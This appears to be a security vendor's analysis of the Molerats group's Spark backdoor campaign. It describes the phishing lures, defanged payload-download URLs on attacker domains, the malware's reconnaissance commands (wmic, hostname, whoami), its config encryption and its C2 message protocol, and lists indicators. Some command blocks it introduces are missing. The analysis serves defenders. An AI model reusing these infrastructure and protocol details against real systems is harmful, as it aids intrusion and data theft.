The Spark backdoor has been used by Molerats since at least 2017 and is associated with the Operation Parliament campaign, which is attributed to the Gaza Cybergang. The payload delivered in one of the attacks appears to be related to JhoneRAT, which may suggest the threat group has added another custom payload to their toolset.
Molerats has been in operation as far back as 2011 targeting government organizations around the world, largely been associated with attacks involving unauthorized access and sensitive data collection.They have been observed using a bevy of tactics and techniques, ranging from leveraging publicly available backdoor tools, such as PoisonIvy or XtremeRAT, to creating custom developed ones such as KASPERAGENT and MICROPSIA. In the campaign that we tracked, this group primarily relied on social engineering and spear-phishing techniques for their initial infection vector, then multi-stage command-and-control (C2) servers for malware delivery.
Molerats used a variety of techniques to make detection and analysis difficult, such as password-protecting delivery documents, limiting the execution of the Spark payload to only run on systems with an Arabic keyboard and locale and the use of the commercial packer Enigma to obfuscate the payloads. The Spark C2 channel also attempts to evade detection, as the data in the HTTP POST requests and responses is encrypted using either 3DES or AES with randomly generated keys that appear to be unique for each payload.
Starting Point
In November 2019, Unit 42 was made aware of a single phishing email directed at a Saudi Arabian government organization. This attack involved a password-protected Microsoft Word document, which contained an embedded macro. The password for the document was provided to the victim in the body of the email. From the artifacts discovered in this attack, we were able to use our AutoFocus product to pivot to additional attacks and uncover what turned out to be an attack campaign by Molerats.
Using our AutoFocus tool, we were able to find several attacks sent from the actors starting on October 2 through December 9, 2019. The emails were sent to organizations in the government and telecommunications verticals and had a mixture of specific and generic email subjects and attachment filenames. We also saw sessions associated with this attack campaign involving two US-based organizations, one in the retail and the other in the insurance industry.
The files attached to these emails were all documents, with the majority being Word documents and one PDF document. Table 1 shows a list of the emails used in this attack campaign, including the details of the email and the country and industry of the targeted organization. In this blog, we will provide an analysis of three of the seven delivery documents listed in Table 1, as the four unique delivery documents with MOFA in their file names are extremely similar to each other. The last delivery document (‘Urgent.docx’) was the delivery document discussed in Cisco Talos' research on a new payload called JhoneRAT, which may suggest that this group also uses JhoneRAT in their attack campaigns in the region.
Date
Subject
Attachment
SHA256
Country
Industry
10/2/2019
MOFA reports 03-10-2019
MOFA- 031019.doc
d19104ef4f443e8..
AE
Gov
10/3/2019
03-10-2019
MOFA- 031019.doc
d19104ef4f443e8..
UK,ES
Gov
10/5/2019
06-10-2019
MOFA- 061019.doc
03be1d7e1071b01..
AE
Gov
10/10/2019
MOFA Reports
MOFA- 101019.doc
011ba7f9b4c508f..
ddf938508618ff7..
US
Insurance,Retail
10/31/2019
لعناية معاليكم - المرفق 31-10-2019
attachment.doc
eaf2ba0d78c0fda..
DJ
Telecom
11/2/2019
لعناية معاليكم - المرفق 31-10-2019
attachment.doc
eaf2ba0d78c0fda..
DJ
Telecom
11/18/2019
صورك
<redacted>
مع هبة
Pictures.pdf
9d6ce7c585609b8..
ES
Gov
11/24/2019
مخطط الجهاد الاسلامي لمباغتة اسرائيل وضرب التهدئة
Urgent.docx
273aa20c4857d98..
DJ
Telecom
12/9/2019
محضر اجتماع قيادة المخابرات العامة مع وفد حركة حماس 09-12-2019
Urgent.docx
273aa20c4857d98..
DJ
Telecom
Table 1. Details of spear-phishing emails seen in this attack campaign
MOFA Delivery Document
The first document we collected and analyzed had the filename MOFA- 061019.doc (SHA256: 03be1d7e1071b018d3fbc6496788fd7234b0bb6d3614bec5b482f3bf95aeb506). This document was password-protected with the password Abdullah@2019. When opening and supplying the password, the victim was presented with contents that include what appears missing images, as seen in Figure 1.
Figure 1. Lure image in MOFA delivery document
Once the victim then enabled the embedded macro inside the document, the macro decodes an embedded VBScript (T1064) and saves it to C:\programdata\Micorsoft\Microsoft.vbs. The Microsoft.vbs script will reach out to the C2 domain servicebios[.]com to retrieve a second VBScript, which contained additional instructions to then retrieve the payload. The script downloads this secondary VBScript from the following URL and saves it to C:\ProgramData\PlayerVLC.vbs:
https://servicebios[.]com/PlayerVLC.vbs
The initial VBScript will then create a scheduled task (T1053) to persistently run the secondary VBScript every minute by running the following command:
The secondary VBScript attempts to download the executable payload from the following URL and saves it to C:\ProgramData\PlayerVLC.msi.
https://servicebios[.]com/PlayerVLC.msi
After downloading the executable payload, the secondary VBScript runs the following command on the command line (T1059) to kill any existing msiexec.exe process instances and use the ping application to sleep for two seconds before using the legitimate msiexec.exe application (T1218) to launch the downloaded PlayerVLC.msi file:
Unfortunately, we were unable to obtain the PlayerVLC.msi file, as it was no longer hosted by the C2 server. This highlights the benefits of a modular payload that requires a chain of successful communications with a C2 server for a successful infection, as it makes post-intrusion analysis difficult. This type of modular payload and chained C2 requests is fairly common, as we have seen it in use by various adversaries such as DarkHydrus and Sofacy. This behavior can assist the adversary in evading automated defenses, as they can deploy their infrastructure at time of attack and avoid having additional artifacts available for further analysis.
Attachment Delivery Document
The Word document delivered on October 31 and November 2, 2019 (SHA256: eaf2ba0d78c0fda95f0cf53daac9a89d0434cf8df47fe831165b19b4e3568000) had a filename of attachment.doc and attempted to trick the recipient into clicking the “Enable Content” button to run an embedded macro. Figure 2 shows the lure image used in an attempt to trick the recipient into clicking the “Enable Content” button. These documents were not password-protected, unlike the MOFA delivery documents previously discussed.
Figure 2. Lure image in Attachment delivery document
The macro is quite simple, as it attempts to download a base64 encoded executable from the following Google Drive URL that it will decode and save to %TEMP%\rundll64.exe:
The decoded executable (SHA256: 7bb719f1c64d627ecb1f13c97dc050a7bb1441497f26578f7b2a9302adbbb128P) is a compiled AutoIt script that installs an embedded executable to %userprofile%\runawy.exe and runs it. Before exiting, the AutoIt script also makes sure the executable will persistently run by copying the executable to the startup directory and by creating a scheduled task by running the following command:
The runawy.exe file (SHA256:64ea1f1e0352f3d1099fdbb089e7b066d3460993717f7490c2e71eff6122c431) is a payload packed with Enigma that creates a mutex of “S4.4P”. This payload is a packed variant of the Spark backdoor, which has been exclusively linked to Molerats. We will discuss the Spark backdoor’s functionality in detail later in this blog, but this specific sample has the following configuration:
Unlike the prior two Word documents discussed, we observed a PDF document named “Pictures.pdf” (SHA256:9d6ce7c585609b8b23703617ef9d480c1cfe0f3bf6f57e178773823b8bf86495) attached to an email with a subject of صورك <redacted> مع هبة, which roughly translates from Arabic to “Your filthy pictures with Heba”. The PDF document does not attempt to exploit a vulnerability, rather it contains a message meant to coerce the recipient into clicking a link to install the actor’s payload. Also, unlike the Word delivery documents that used finesse lure images and missing content in an attempt to trick the user into enabling macros, this PDF document uses a more brash approach that contained a blackmail-esque message in an attempt to trick the user into clicking a link, opening a RAR archive and running an executable.
The message within the PDF document is in Arabic and suggests the sender has compromising pictures of the recipient that they will release to the media. The message also suggests the document was sent to an associate of a government official and was meant to threaten the victim into clicking a link within the document. Figure 3 shows the contents within the PDF document.
Figure 3. Screenshot of the contents of the malicious PDF document
The link within the document is in Arabic and roughly translates to “A small sample of your filthy pictures with Heba” and “Pictures”. The link points to the following URL, which is case sensitive:
hxxps://zmartco[.]com/Pictures.rar
The "Pictures.rar" file (SHA256: 1742caf26d41641925d109caa5b4ebe30cda274077fbc68762109155d3e0b0da) is a RAR archive that contains one file with a filename of هذه عينة قليلة من الصور.exe (SHA256: 92d0c5f5ecffd3d3cfda6355817f4410b0daa3095f2445a8574e43d67cdca0b7), which roughly translates to "This is a few sample photos.exe". The executable is a compiled AutoIt script that extracts an embedded executable, saves it to disk at C:\Users\Public\pdf.exe (SHA256: 5139a334d5629c598325787fc43a2924d38d3c005bffd93afb7258a4a9a8d8b3) and creates a shortcut in Start Menu\Programs\Startup\pdf.lnk to automatically start it each time the system starts, as seen here:
Like the “runawy.exe” payload delivered by the attachment.doc Word document, the "pdf.exe" file saved to the system is a packed variant of the Spark backdoor. This variant of the backdoor had the following configuration:
Often when investigating attacks like these, links between infrastructure used across distinct campaigns can be easily found, such as by tracking reused IP addresses or domains, finding related domains sharing similar attributes, and so on. In the case of all the MOFA-related delivery documents listed in Table 1, servicebios[.]com was the only domain used, and most of the infrastructure information related to historical usage.
With the AutoFocus Threat Intelligence service, we used alternative data points provided from our cloud sandbox, WildFire, during the analysis of said malicious documents in order to pivot and discover additional samples and related infrastructure. In this section we will discuss the methods we used and describe the additional infrastructure.
Figure 4 below is a maltego chart showing the Word documents and Visual Basic Script (vbs) files related to the servicebios[.]com domain in the bottom half of the chart, with some of the related entities connected via one of two links, to other entities in the top half of the chart. Said links include Yara signatures in the blue box and an AutoFocus query in the orange box, as indicated by the “AF” for AutoFocus.
Figure 4. Chart showing relationships between delivery documents and associated infrastructure
The AutoFocus query relates to a specific process execution chain leading to a Windows Scripting Host process (wscript.exe) launching the malicious VBS downloader scripts. This allowed us to pivot on behavioural artefacts from the “MOFA- 101019.doc” (SHA256: ddf938508618ff7f147b3f7c2b706968cace33819e422fe1daae78bc256f75a8) document to previously unknown documents “التقرير اليومي حول أهم المستجدات الفلسطينية ليوم - 9 - 9 - 2019.doc” (Daily report on the most important Palestinian developments, 9-9-2019.doc; SHA256: feec28c7c19a8d0ebdca8fcfc0415ae79ef08362bd72304a99eeea55c8871e21) and “التقرير اليومي حول أخر مستجدات الإرهاب العالمي- 9 - 9 - 2019.doc” (Daily updates on the latest terrorism report Alaalmi- 9 - 9 - 2019.doc; SHA256: bf126c2c8f7d4263c78f4b97857912a3c1e87c73fee3f18095d58ef5053f2959).
As with the original Word document, the VBA macro code inside the new documents also used the open-source code “Base64 decode VBS function” from Motobit to decode (T1027) the download function and URL to VBS before running it. The main difference between the VBS files is the domain - dapoerwedding[.]com - where the secondary VBS payload was hosted. At the time of this activity the domain resolved to 45.15.168[.]118 and was used in a previous campaign from September 2019.
In parallel to searching for related files using behavioural commonalities, we authored Yara signatures for the VBS code associated with the original delivery document, to scan our and VirusTotal’s corpus. This led to two additional VBS files: SHA256: 85631021d7e84dc466b23cf77dd949ebc61011a52c1f0fb046cfd62dd9192a15 represents the 1st stage VBS downloader containing minor changes to the domain and filename used, as follows:
https://dapoerwedding[.]com/GoogleChrome.vbs
The second VBS file discovered (SHA256: 9451a110f75cbc3b66af5acb11a07a8d5e20e15e5487292722e695678272bca7) is the 2nd stage VBS downloader with reference to the final MSI file payload, which was unavailable at the time of writing:
https://dapoerwedding[.]com/GoogleChrome.msi
We were also able to discover additional Word documents using other AutoFocus queries, as highlighted by the two other AutoFocus “AF'' orange boxes in Figure X above. These maltego entities query our data using proprietary hashes calculated from the original document’s VBA macro code, and resulted in SHA256: 602828399e24dca9259a4fc4c26f07408d1e0a638c015109c6c84986dc442ebb (servicebios[.]com), and SHA256s: a2c68da1b3e0115f5804a55768b2baf50faea81f13a16e563411754dc6c0a8ff and 4f51b180a6d0b074778d055580788dc33c9e1fd2e49f3c9a19793245a8671cba (dapoerwedding[.]com).
Upon initial inspection of dapoerwedding[.]com and servicebios[.]com, nothing stood out as having ties to previously documented Molerats activity, however there were some commonalities (T1347) between the two domains:
Pre-existing domains
Seemingly legitimate historical content
Recently expired (and lapsed domain redemption grace period)
Domain Validation (DV) SSL Certificates setup (T1337), issued by Sectigo
Another delivery domain - zmartco[.]com - that shares the same commonalities listed above pertains to the “Pictures.pdf” delivery attachment listed in Table 1 discussed in the previous section.
Spark Payload Related to Operation Parliament
The executables installed by the compiled AutoIt scripts is a backdoor that Molerats has used in many attack campaigns. Until recently, this backdoor did not have its own moniker, but Cybereason recently gave this backdoor a name of “Spark”. As mentioned in Cybereason’s blog, the Spark backdoor was also delivered in attacks occurring in January 2019, as discussed in a blog published by Qihoo 360. Based on our research, the Spark backdoor has been used by Molerats since at least early 2017, as it was the main payload in the Operation Parliament campaign reported by Kaspersky.
Spark uses HTTP POST requests to communicate with its C2 server to receive commands and to exfiltrate the results, all of which using JSON-structured messages. In most cases, the threat actors use commercial packers to obfuscate the Spark payload to avoid detection. During our research, we have seen the actors use the Enigma protector, Themida and VMProtect, which makes identifying samples difficult. We were also able to identify two different versions of Spark-based identifiers left in the binaries by the developer, which are version 2.2 and 4.2. Based on the compilation times of the files with the Spark samples with identifiable version strings, it appears that version 2.2 was created in 2017, while version 4.2 was created in late December 2019 and January 2020. Table 2 shows these Spark samples that contained version numbers, along with their compile time and the packer used to obfuscate their contents.
Truncated SHA256
Version
Compiled
Packer
966ad6452793b15..
2.2
2017-05-24 6:15:04
VMProtect
ab4e43b4e526d44..
2.2
2017-05-24 6:15:04
VMProtect
212aa6e3f236550..
2.2
2017-05-24 6:15:04
VMProtect
cf32479ed30ae95..
4.2
2019-12-30 9:45:44
none
d0dc1de0ae912c7..
4.2
2020-01-12 10:57:50
Enigma
04fa6aaea5e3a26..
4.2
2020-01-12 10:57:50
Enigma
6e60f5c65299ee7..
4.2
2020-01-12 10:57:50
Enigma
b08b8fddb9dd940..
4.2
2020-01-12 10:57:50
Enigma
64ea1f1e0352f3d..
4.2
2020-01-12 10:57:50
Enigma
Table 2. Spark samples with their version number, compile time and the packer used
We have collected dozens of Spark payloads, whose compile times range from March 2017 to January 2020, which further suggests this group has been using this backdoor in attack campaigns for almost three years. We extracted the configurations from each of these files to gather the known C2 domains associated with Spark, which we have included in Table 3.
Domain
First used
webtutorialz[.]com
1st Half 2020
nysura[.]com
1st Half 2020
laceibagrafica[.]com
2nd Half 2019
motoqu[.]com
2nd Half 2019
smartweb9[.]com
1st Half 2019
laptower[.]com
2nd Half 2018
app.msexchanges16[.]com
2nd Half 2018
msexchange13[.]com
2nd Half 2018
cloudserviceapi[.]online
2nd Half 2018
updates.masterservices[.]online
2nd Half 2018
clients.itresolver[.]online
1st Half 2018
update.itresolver[.]online
1st Half 2018
91.219.237[.]99
2nd Half 2017
goldenlines[.]site
2nd Half 2017
update.nextdata[.]site
2nd Half 2017
Table 3. Spark C2 domains and the approximate time they were used
In the next section, we will explain Spark’s capabilities and demonstrate its C2 channel that we determined from our analysis of the “pdf.exe” payload delivered by the Pictures.pdf document in the November 2019 attack.
Spark Payload in Pictures.pdf November 2019 Attack
The Spark payload installed by the compiled AutoIt script is packed with the commercial Enigma protector (T1045). When packing the payload, the actor used a feature within Enigma protector called “Splash Screen”, which the actor configured to display an image on top of all the windows and waits for the user to click the image before executing the malicious code. Figure 5 shows the splash image displayed by the Enigma protector prior to executing the malicious payload, which is a wallpaper image available at wallpaperswide.com. The splash screen feature acts as a sandbox evasion technique, as it requires user interaction in the form of clicking the screen before the malicious code runs.
Figure 5. Screenshot of the contents of the malicious PDF document
Once unpacked, we found the Spark payload was similar to the payloads delivered in Operation Parliament from a capability perspective. The Spark payload is a backdoor that allows the threat actors to open applications and run command line commands on the compromised system.
The payload starts by checking the results of the GetKeyboardLayoutList and the language name returned by GetLocaleInfoA to make sure they contain the word "arabic". If the word is not found in the results of these two API calls, the payload does not execute any of its malicious code. Checking for specific keyboards and languages is a known evasion tactic meant to avoid running on analysis systems not configured, as the actor’s targeted victim would be configured.
After the payload confirms that the system has the appropriate keyboard and language pack installed for the actor’s desired target, it will begin attempting to communicate with a C2 server specified within a configuration embedded within the payload. The embedded configuration is encrypted and the payload decrypts it by first using a custom rolling XOR algorithm to decrypt a key and a buffer of ciphertext, resulting in a key and ciphertext that appears encoded with base64. It will then generate the SHA256 hash of the base64 encoded key and use the fourth through the 28th bytes of the resulting hash as the final key. The payload will base64 decode the ciphertext and use the final key to decrypt the decoded ciphertext using Triple DES (3DES), which results in a configuration that is structured in JSON. This particular payload had the keys and values seen in Table 3 below.
JSON Field
JSON Value
Description
xBql
laceibagrafica[.]com
Hostname of C2 server
eauy
/
URI of C2 server
Qnd
80
TCP port for C2 server
jJN
0
Sleep interval before entering the main C2 communications loop.
rlOa
<empty string>
Unknown and does not appear to be used.
Eb
1
Unknown purpose, but sent to the C2 in the BrandentlK field
BGa
vcJbq6nzgJk=
Hardcoded base64 encrypted string, which is the “Nickname” field likely used as a campaign identifier
qJk
10000
Number of iterations of the main C2 communications loop before exiting the application.
Table 3. JSON key/value pairs within the payload’s configuration
The payload also uses this same routine to decrypt an encrypted buffer that contains sleep intervals and more importantly a list of first names used to structure the messages sent to and from the C2 server, as well as the keys used to decrypt these messages. The payload will use the first names listed in Table 4 as JSON key names and values within messages sent to and received from the C2. We provide a description of each element of this decrypted buffer in the Appendix, but also show how the names in Table 4 are used within the C2 communications later in this blog. Each of the values in Table 4 are unique per Spark sample, as the developer changes the names and the keys for each payload.
Lawrence
Alanih
Nevaeh
Garrison
ReeceWNM
Allier
Averizt
LondonzO
Zeke
MorganE
JaseN
MathiasNbo
JoslynKe
ReesefP
Winston
Ivory
BrandentlK
AngelxEv
FrederickT
Jessicay
Jonas
AdalynngS
ZaydenlnL
KaileeXws
VanessaFM
Reginacy
AdelineRD
Houstonod
EverlyY
Jordanlzw
TrumanRd
CollinsPM
Maximiliano
CallieVK
Aryana
Table 4. First names used by Spark as JSON key/value pairs used for C2 communications
Before communicating with the C2 server, the payload will decrypt one more buffer that contains strings that the payload uses for debugging messages, as well as the commands it will use to gather system information. Table 5 shows the strings decrypted and their purpose.
Decrypted String
Description
1
Unknown purpose, but sent to the C2 in the Averizt field
311OEVZihfReZStoFf4cfg==
Decodes and decrypts to /c hostname used to obtain the hostname of the system
Z9Q1WVryAIzLVSxF1yWRwg==
Decodes and decrypts to %COMSPEC% to get the location of cmd.exe to run commands to gather system information
Decodes and decrypts to /c wmic csproduct get UUID | more +1 | cmd /q /v:on /c "set/p .=&echo(!.!" used to obtain the UUID of the system
AykC+x26hhd5DfrB/yly9gXcFsIlVxO9
Decodes and decrypts to /c echo %username% used to obtain the username of the logged in account
ok
Generic message to indicate a successful execution of a command
Create Pipe Error
Debug message sent to the C2 if the payload fails to create a pipe to get the results of a command
Create processa error
Debug message sent to the C2 if the payload fails when creating the process for a command
Get exit code process error
Debug message sent to the C2 if the payload fails when calling GetExitCodeProcess to get the error message when attempting to create the process for a command
Unknown, as it does not appear to be used in the code
Set handle information error
Debug message sent to the C2 if the payload fails when calling SetHandleInformation when attempting to set the stdout of created process to inherit the object handle
Wait for single object error
Debug message sent to the C2 if the payload fails when calling WaitForSingleObject after attempting to create the process for a command
Table 5. JSON key/value pairs within a buffer that the payload uses to communicate with C2 server
Spark C2 Communications
The payload communicates with its C2 server laceibagrafica[.]com by issuing HTTP POST requests with base64 encoded and encrypted messages in the data section. We had not seen any previous explanation of this C2 channel, so we will provide an overview of the back and forth communications between the payload and C2 server to show how this payload uses the names in Table 4. To do this analysis, we created a C2 server to interact with the Spark payload to issue commands, so all of the HTTP responses in this section are from the C2 server we created and not an actor developed C2 software. Figure 6 shows an initial beacon sent from the payload to its C2 server. However, all of the outbound requests from the payload to the C2 will look similar visually, as they all use HTTP POST requests to the same URL with encoded and encrypted messages.
Figure 6.Initial beacon sent from payload to C2 server
The data section in the initial beacon decodes and decrypts to the JSON message {"CallieVK":"W10=","ReeceWNM":"Jessicay"}. The JSON message involves two key/value pairs with keys “ReeceWNM” and “CallieVK”, whose values transmit the communication type and the data, respectfully. For instance, the “ReeceWNM” key includes the name “Jessicay” that is used to represent the initial beacon communication type. The payload will decrypt the C2 servers’ response looking for a “EverlyY” field and uses the value for a sleep interval before continuing. Figure 7 shows a response from the C2 server to the initial beacon, of which the response decrypts to {"EverlyY": 0}.
Figure 7. Initial beacon sent from payload to C2 server
After receiving the EverlyY response, the payload will gather system information, specifically the username, hostname and the system specific UUID by running the following command line commands using ‘cmd.exe’:
wmic csproduct get UUID | more +1 | cmd /q /v:on /c "set/p .=&echo(!.!"
hostname
echo %username%
The payload will store each of these command results in JSON in base64 encoded ciphertext within a field name “ZaydenlnL” and using the first name “AngelxEv” to represent the type of data, which is a number that corresponds to the results in the list above with 1 representing the UUID, 2 the hostname and 3 the username. These three JSON objects are added to a JSON array with a name of “Maximiliano” and sent to the C2 server. For example, the payload stores the system information in JSON as follows:
{"Maximiliano":[{"AngelxEv":1,"Houstonod":1,"ZaydenlnL":"<base64 encoded ciphertext of UUID>"},{"AngelxEv":3,"Houstonod":1,"ZaydenlnL":"<base64 encoded ciphertext of username>"},{"AngelxEv":2,"Houstonod":1,"ZaydenlnL":"<base64 encoded ciphertext of hostname>"}]}
The payload will create an outbound communications JSON object by setting the encoded system information JSON to the “CallieVK” value and setting the “ReeceWNM” value to the communication type “JoslynKe”. The resulting JSON will resemble the following:
{"CallieVK":"<base64 encoded ciphertext of system information “Maximiliano” JSON array>","ReeceWNM":"JoslynKe"}
The resulting JSON object is base64 encoded, encrypted and sent within the HTTP POST data to the C2 server, as seen in the example request in Figure 8.
Figure 8. System information sent from payload to C2 server
After sending the system information, the payload will expect to receive a command from the C2 server within the response. Figure 9 shows the response to this request that contains encrypted data that the payload will parse for commands to execute.
Figure 9. C2 server response containing ciphertext containing a command line command to execute
The payload does not have a command handler. Rather, it will process the JSON object within the C2’s response for applications to open and/or command line commands to run by calling the CreateProcessW API function. The expected JSON object contains an array named “Jordanlzw” that has one or more objects that will have a task identifier number in a field “Ivory”, an application name to run in a “Alanih” field, and the command line arguments to pass to the application in a “TrumanRd” field. For instance, the decrypted response in Figure 9 contains a JSON object would instruct the payload to run “c:\windows\system32\cmd.exe” using the command line argument “/c whoami”, which effectively runs the “whoami” command:
After running the command provided by the C2, the payload will send a message to the C2 server that we believe is meant to notify the C2 that it received the command by sending the specific task identifier to the server. The payload will notify the C2 using the communication type "MorganE" as seen in the following JSON:
The decoded data within the “CallieVK” field will contain a JSON array with a name of “JaseN” that contains one or more objects with a field name of “Lawrence” that contains the task numbers received, such as {"JaseN":[{"Lawrence":5}]}. This acknowledgement is sent to the C2 server, as seen in Figure 10:
Figure 10. Payload notifying the C2 server that it received the command
After acknowledging the receipt of command, the payload expects the C2 to respond with a JSON object with the “Allier” field set to a number, such as {"Allier" : 7}. We are unsure of the purpose of this transmission or how the payload uses this number value, but Figure 11 shows the base64 encoded ciphertext containing the “Allier” field.
Figure 11 C2 server providing the Allier JSON object
After receiving the “Allier” JSON object, the payload will send the results of the executed command(s) to the C2 server. The payload will create a JSON object with an array named “Zeke”, which will contain JSON objects that have a “FrederickT” field used to store the result of the command, a “ReesefP” field to denote the task identifier, and a “KaileeXws” field to store a boolean if the command was successful. The resulting JSON would look like the following when the result of the ‘whoami’ command issued by the C2 is “test-system\<redacted>”:
The payload will base64 encode this data and set the “CallieVK” field in the outbound JSON object with the “ReeceWNM” field set to the “Winston” communication type, as seen in the following:
The payload will then encrypt this JSON object and send it to the C2 server to exfiltrate the results of the issued command. Figure 12 shows the HTTP POST request containing the encrypted JSON object that contains the “Winston” communication type.
Figure 12. Payload sending the results of the issued command to the C2 server
After sending the results of the initial commands, the payload expects the C2 to reply with a JSON object with a “Garrison” field set to a number, such as “{"Garrison" : 8}”. Figure 13 shows the C2 server responding with ciphertext of the JSON object with the “Garrison” field.
Figure 13. C2 server sending the Garrison JSON object to the payload
This concludes the check-in and initial command execution portion of the C2. The payload will enter a loop to continuously send HTTP requests to obtain additional commands to run using the same sequence of JSON objects previously explained starting after the “JoslynKe” communication type that sent the system information to the C2. Instead of sending the system information to the C2 and parsing the response for a command, each iteration of this loop will start with a communication type of “VanessaFM” as seen here:
The data in the “CallieVK” field decodes to a JSON object that has several fields, one of which is an array called “MathiasNbo” that contains JSON objects that transmit the UUID for the compromised system in a field named “CollinsPM” that was previously transmitted to the C2 in the “ZaydenlnL” field of the “JoslynKe” communication type. The JSON object also contains a field “AdelineRD” that contains a nickname or campaign identifier value in the form of base64 encoded ciphertext. We have compiled a list of campaign codes of known Spark payloads, which we have included in the Appendix. The resulting JSON object will look like the following:
{"AdelineRD":"vcJbq6nzgJk=","Averizt":"1","BrandentlK":1,"MathiasNbo":[{"AdalynngS":1,"CollinsPM":""<base64 encoded ciphertext of UUID seen in ZaydenlnL field>","Nevaeh":true}]}
This JSON is encrypted and base64 encoded and sent to the C2 server, as seen in Figure 14. The payload will use the same JSON each iteration of the main loop and will expect the C2 to provide the same sequence of responses as discussed before that contain “Jordanlzw”, “Allier”, and “Garrison” fields to receive additional commands.
Figure 14. Payload issuing HTTP POST to C2 server requesting further commands
Comparison between 2019 and 2020 campaigns
While collecting additional Spark samples, we found samples from a 2019 campaign and newer samples that were compiled in January 2020 used in the Spark Campaign. The delivery documents and Spark payloads used in these campaigns differ from the delivery document we observed in the October and November 2019 attacks. At a high level, the January 2019 delivery document was self-contained as it had its payload embedded within it, while the October 2019, November 2019 and January 2020 delivery documents required interacting with a remote server. The October 2019 and January 2020 documents differ as the former attempts to download a VBScript that downloads a payload from the actor controlled server, whereas the January 2020 document attempts to load a remote template from Google Drive whose macro attempts to download a payload from Google Drive. The known Spark payloads installed by each of these delivery documents differ as well, which we will compare with the known payload from the November attack discussed earlier in this blog.
We analyzed a delivery document from the 2019 campaign and found that it was a macro-enabled Word document (SHA256:40b7a1e8c00deb6d26f28bbdd3e9abe0a483873a4a530742bb65faace89ffd11). The macro made the decoy contents by setting a textbox in the document to visible with the line “Shapes("textbox1").Visible = True”, while the attacks discussed earlier in this blog did not attempt to display any updated decoy contents. Another marked difference is that while both the January and October 2019 delivery documents wrote to a secondary VBScript %userprofile%\wmsetup.vbs and programdata\Micorsoft\Microsoft.vbs respectively, the wmsetup.vbs script contains the binary payload while Microsoft.vbs attempts to download another VBScript that will download the binary payload. The wmsetup.vbs script decodes an embedded base64 encoded payload (SHA256:9511940ed52775aef969fba004678f4c142b33e2dd631a0e8f4e536ab0b811db
), saves it to %temp%\ihelp.exe and creates a scheduled task for persistence by running the following command:
A few notable characteristics of the Spark payload delivered in January 2019 include the use of different freely-available libraries from other known samples, such as using the msgpackv1 library instead of JSON to structure its configuration and C2 communications, as well as using the SFML library instead of cURL. Also, unlike the Spark payload delivered in November 2019, this payload uses the AES cipher to decrypt its configuration and other pertinent strings and to encrypt and decrypt network communications with its C2. It uses the entire SHA256 hash of a supplied key string without using the custom rolling XOR cipher on the key and ciphertext as discussed earlier in this blog. The decrypted configuration from this payload structured using msgpack appears as follows:
We also analyzed a delivery document from the 2020 Spark campaign (SHA256:8c0966c9518a7ec5bd1ed969222b2bcf9420295450b7ed2f45972e766d26ded8) and it differed from both the January and October 2019 delivery documents. First, the initial delivery document did not contain a macro, rather it attempts to load a remote template from Google Drive, specifically at the following URL:
The remote template (SHA256:a0ae5cc0659693e4c49d3597d5191923fcfb54040b9b5c8229e4c46b9330c367) contains a macro that attempts to download an executable from the following URL:
The executable hosted at the Google Drive link (SHA256:7bb719f1c64d627ecb1f13c97dc050a7bb1441497f26578f7b2a9302adbbb128) is a compiled AutoIt script that attempts to install a Spark backdoor to %userprofile%\runawy.exe, which is the same exact dropper and payload as we observed installed by the “attachment.doc” delivery document discussed earlier in this blog.
Table 6 shows a comparison of features in the Spark payloads discussed in this section. Unfortunately, we were unable to obtain the payload installed by the MOFA-related Word documents delivered in the October 2019 attacks. If we compare the Spark samples installed by the delivery documents in January 2019 and 2020 with the Spark sample installed by the Pictures.pdf delivery document in November 2019, we see notable differences that suggest this threat group is continually developing this backdoor.
Feature
Jan. 2019 Spark
Nov. 2019 Spark (Pictures.pdf)
Oct. and Nov. 2019 “attachment.doc” and Jan. 2020 “The Spark Campaign”
Rolling XOR on key and ciphertext + 3DES on ciphertext
Rolling XOR on key and ciphertext + custom AES decrypting 16-byte chunks of ciphertext
Encrypted data
Configuration, Names for C2 comms, Commands to gather system information
Configuration, Names for C2 comms, Commands to gather system information
Configuration, Names for C2 comms
Persistence
Scheduled task
LNK Shortcut in @StartupDir
Scheduled task, Copied executable in @StartupDir
Table 6. Comparison of Spark payloads delivered in January 2019, October 2019, November 2019 and January 2020
Connection to Downeks
Kaspersky’s report mentioned the sub-groups of Molerats (AKA the Gaza Cybergang) are responsible for the Operation Parliament campaign that delivered the Spark payload and we observed this threat group delivering the Downeks in the DustySky campaign. We observed some similarities between Spark and Downeks from a development and installation perspective.
For instance, we observed the same binder Trojan, which is a malicious application used to open a decoy document and to install a payload, one installing a Downeks payload and two others installing Spark. The binder Trojan installing Downeks was compiled in December 2015 and was used during the DustySky campaign as mentioned in our blog (SHA256: 75336b05443b94474434982fc53778d5e6e9e7fabaddae596af42a15fceb04e9), while we have two samples of this binder Trojan installing Spark samples that were compiled in November 2017 (SHA256:4889318807225e51bae4d9d9a536e5775eaf92685b289eef6839f9d89f8c4b85) and April 2018 (SHA256:23cf013ab91e6bd964c4d9a5d48c188a09838c32a75db68dd0690418f5ca7e7c).
From a development perspective, both the Downeks and Spark payloads use libraries and code from several open-source projects available on GitHub to carry out its C2 communications and to structure data in JSON. First, Spark uses the cURL library for C2 communications, specifically version 7.56.0-DEV whose source code is available on GitHub, while Downeks (SHA256:9347a47d63b29c96a4f39b201537d844e249ac50ded388d66f47adc4e0880c7) used cURL to communicate with the C2 server, but an earlier version (7.39.0). Second, the payload uses JSON to parse its configuration and to structure its messages sent to and from the C2 server, which it uses JSON for Modern C++ Version 2.1.1 also available on GitHub. The previously mentioned Downeks also used JSON to parse its configuration and to structure the data it sends and receives from its C2 server. However, it used Tencent’s RapidJSON again freely available on GitHub. This fits our previous observations of the developer of Spark using different JSON libraries within different versions of Spark.
Conclusion
Molerats, also known as the Gaza Hacking Team and the Gaza Cybergang, has been targeting eight organizations in six different countries in the government, telecommunications, insurance and retail industries between October 2019 through the beginning of December 2019. This group uses spear-phishing emails to deliver both malicious Word and PDF documents, and attempts to social engineer the victim into an infection rather than trying to exploit a software vulnerability. Also, the group uses the Spark backdoor in attacks, but continues to develop this tool using different freely available libraries to structure important data and to carry out C2 communications.
Palo Alto Networks customers are protected from the attacks discussed in this blog by:
All known Spark payloads and delivery documents have malicious verdicts in WildFire
All known Spark C2 domains and domains used in the delivery are marked with malicious classifications and verdicts in PANDB and DNS Security
AutoFocus customers can track the delivery documents and payloads with the tags: Molerats_Spark
feec28c7c19a8d0ebdca8fcfc0415ae79ef08362bd72304a99eeea55c8871e21 - التقرير اليومي حول أهم المستجدات الفلسطينية ليوم - 9 - 9 - 2019.doc (Daily report on the most important Palestinian developments, 9-9-2019.doc)
